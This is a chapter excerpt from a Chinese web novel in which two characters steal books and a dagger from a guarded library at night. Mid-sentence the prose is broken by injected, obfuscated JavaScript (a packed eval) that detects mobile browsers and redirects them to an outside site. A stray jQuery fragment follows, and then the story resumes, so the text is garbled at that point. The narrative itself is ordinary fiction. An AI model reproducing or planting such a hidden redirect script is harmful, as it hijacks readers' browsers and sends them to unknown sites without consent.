在墙壁与书架之间的空地上,放着无数东西。涂翡小心走过,她像是走在花丛中的狐狸,身子灵巧,片叶不沾。
这些应该都是激进派收缴的,书籍、唱片、器械……这些都如同垃圾一般被堆叠在一起。
涂翡站在一个木柜前,看着上面摆放的武器。不知学生兵从哪儿没收的,这有几把冷兵器,其中有一把只有半个手掌大的袖珍手枪,涂翡看了看没敢动,她怕她犯什么原则性错误。
还有一个纯白色手柄的匕首,那手柄也不知道是什么材质,白得剔透,很是漂亮。
偷书就算了,别的她不会拿的。而且她拿来干什么?她犯病之后的破坏力可比学生兵还大。但她就稀罕这些东西,所以多看看养养眼也行。
那把匕首太漂亮,像是什么动物的角制成的,她忍不住拿起来,拔开皮套,锋利的匕首在月光下泛着冷芒。她歪着头,满眼欣赏地细细打量,手指抵在刃上轻轻划过。
还没看出所以然,他们来时的后门发出轻微的声响。
有人进来了,从后门进的。大概和他俩一样,也是来偷东西的。
人一多,这场面就不可控了,涂翡不再恋战,决定立刻撤离。她把匕首的皮套戴上,刚要放回去,只听‘滋’地一声长响,箱子的挪动在这寂静空旷的图书馆中激起刺耳悠远的回音。
涂翡想都没想,几乎是凭借本能,拎着包裹就往放医疗书籍的方向跑去,她在这杂乱无章的禁品中跳跃,仿佛一道黑色的影子,她手里的包裹却拿得相当稳,只有轻微的晃动。
同一时间,门口的两名守卫也被惊动了,他们打着手电,拿着钥匙,快步走向图书室的大门。
黑暗中,隐约能听见一声年轻的叫骂。
涂翡分辨着脚步声,在正前方大门即将打开的前一秒,闪身进了书架间。而另一个高大俊逸的身影听见声音后也往她这边跑来。
涂翡跑向书架尽头,一把拉住疾行的池步湘,将他压在了书架上。
她用手臂垫住他,防止书架发出声响,怕他出声,还捂住了他的嘴巴。
池步湘确实吓了一跳,差点就要抬起膝盖了,但他闻到了熟悉的味道。
黑暗中,涂翡抬起头,正好与那一双无辜的桃花眼对上视线。
涂翡默默把手拿开。
两个守卫,一人跑向发出声响的地方,另一人则拿着手电,不断扫射着书架间的过道。
涂翡和池步湘在书架的另一侧,连人带东西全都藏在了手电的死角。
俩人屏住呼吸,等手电从他们的两旁经过后,涂翡从池步湘的身上起来,拉着他进了书架过道中。
池步湘平复着心跳,涂翡则拿过他怀里的书,放进包裹。他看那包裹还有富余,在临近的书架上看了看,随手拿了本《照相机工作原理》放在了三角布兜。
另一波小偷大概心里素质不太好,在守卫的围追堵截下大失分寸,叮叮当当的声音接二连三的响起。
涂翡想趁这会守卫被吸引视线,带池步湘溜出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13931597|146218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。她冲池步湘做了几个手势,确定他明白了,她看看手里的白柄匕首,毫不迟疑地塞进了怀里。
接着她拎起包裹,轻声往后门的方向走去。
池步湘跟上她,比起在书架间逃窜的那位,他显得气淡神闲,丝毫不见紧张。
涂翡猜,他是经验太足。
那边还在追击,守卫也在书架中穿梭。涂翡听着脚步声,带着池步湘在书架间来回躲避着。
“跳!”涂翡一边说一边跳起来,双脚踩在了两侧的书架上,人呈现一个大字挡在过道中央。
池步湘也跟着一跳,他双手抓住书架的横板,双脚抬起,人虽高大,但却意外的灵巧。
俩人刚挂好,一束手电的光束从书架底部打横而来。
但显然,有人没跳好,砰地一道落地声,换来守卫的一声咒骂:“那狗娘养的什么时候跑那边去了!”
另一守卫答:“你去抓,这是团伙作案,我这边还有一个!”
“我擦!这孙子诶!”与涂翡他俩隔了几个书架的地方传来声音,那人慌乱之中往涂翡俩人这边跑来。
涂翡和池步湘赶紧从书架上下来,往另一侧躲去。
这个人躲进这里后就一直没动过,导致涂翡也不知道这边有个人。一时没有防备,那人经过俩人所在的过道时,满眼震惊地看到了黑暗中涂翡和池步湘的模糊身影。
这图书馆怎么还有别人?!
他们是怎么到现在都没被发现的!
涂翡知道他俩被看见了,现在得立刻撤出去!不然他们被发现也是迟早的事!
她也不以稳妥为主了,俩人在脸上系上方巾,卡着两位看守的盲区,也不管另外两个小偷会不会看见他们,只飞速往后门方向飞奔。
眼看到了后门,外面传来说话声:“你进去抓人,我守着后门。”
涂翡和池步湘躲回书架中,暗中打量,说话的是前门站岗的那俩位,估计是听见图书馆里面的动静了。
另一人应了声,悄声摸进了图书室,打算实行暗中抓捕。
涂翡俩人目送他走远,挪动位置看向门口守着的人,池步湘在涂翡耳边低语:“不如直接打出去?”
涂翡思索着,比量了一下池步湘的身高,这身高有点太突出了。若是近距离接触,池步湘不是没有暴露的风险,而且他下手的特点又很,鲜明。
她站在书架之间,看着远处的禁品堆,想了想,从挎包里掏出来一个弹弓。
池步湘:……现在她掏出来什么他都不吃惊了。
涂翡半蹲在地上,借着书架的掩护,拉开弹弓,瞄准一个柜门。
‘啪’地一声,那门晃了晃,关严了。
这声音吸引了门口守着的人。他看向发出声响的柜子——那里离他不远。
那声音只响了一声就戛然而止,像是不小心发出响声后被紧急暂停。
那里藏了人!
但他没有立刻过去,在守门还是过去抓人之间犹豫着。